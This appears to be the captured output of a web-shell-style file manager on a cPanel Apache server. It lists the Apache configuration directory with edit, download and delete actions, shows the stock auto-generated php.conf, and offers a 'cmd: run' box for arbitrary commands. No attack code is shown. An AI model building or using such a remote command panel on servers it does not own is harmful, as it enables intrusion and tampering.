/
usr
/
local
/
apache
/
conf
/
/usr/local/apache/conf
mkdir
upload
Name
Size
Mode
Actions
includes/
-
0755
rm
modsec-imh/
-
0755
rm
userdata/
-
0755
rm
httpd.conf
268260
0600
edit
dl
rm
mime.types
61540
0644
edit
dl
rm
php.conf
2071
0644
edit
dl
rm
Edit:
/etc/apache2/conf.d/php.conf
(2071B)
# This file was automatically generated by the Cpanel php # Configuration system. If you wish to change the way php is being # handled by Apache on your system, use the # /usr/local/cpanel/bin/rebuild_phpconf script or the WHM interface. # # Manual edits of this file will be lost when the configuration is # rebuilt. # These initial handlers serve as fallback in case there is any # time between when configuration has changed and when it takes effect. # We use CGI style since it is simple and the default we use elsewhere. # If the version is not set to CGI they will get a 404 until the new # configuration takes effect which is better than serving source # code until the new configuration takes effect. <IfModule actions_module> Action application/x-httpd-ea-php72 /cgi-sys/ea-php72 Action application/x-httpd-ea-php73 /cgi-sys/ea-php73 Action application/x-httpd-ea-php74 /cgi-sys/ea-php74 Action application/x-httpd-ea-php80 /cgi-sys/ea-php80 Action application/x-httpd-ea-php81 /cgi-sys/ea-php81 </IfModule> # suPHP configuration for ea-php72 <IfModule suphp_module> suPHP_Engine on <Directory /> suPHP_AddHandler application/x-httpd-ea-php72 </Directory> </IfModule> # suPHP configuration for ea-php73 <IfModule suphp_module> suPHP_Engine on <Directory /> suPHP_AddHandler application/x-httpd-ea-php73 </Directory> </IfModule> # suPHP configuration for ea-php80 <IfModule suphp_module> suPHP_Engine on <Directory /> suPHP_AddHandler application/x-httpd-ea-php80 </Directory> </IfModule> # suPHP configuration for ea-php81 <IfModule suphp_module> suPHP_Engine on <Directory /> suPHP_AddHandler application/x-httpd-ea-php81 </Directory> </IfModule> # Set ea-php74 as the system default for php <IfModule mime_module> AddHandler application/x-httpd-ea-php74 .php .php7 .phtml </IfModule> # suPHP configuration for ea-php74 <IfModule suphp_module> suPHP_Engine on <Directory /> suPHP_AddHandler application/x-httpd-ea-php74 </Directory> </IfModule> # End of autogenerated php configuration.
Save
cmd:
run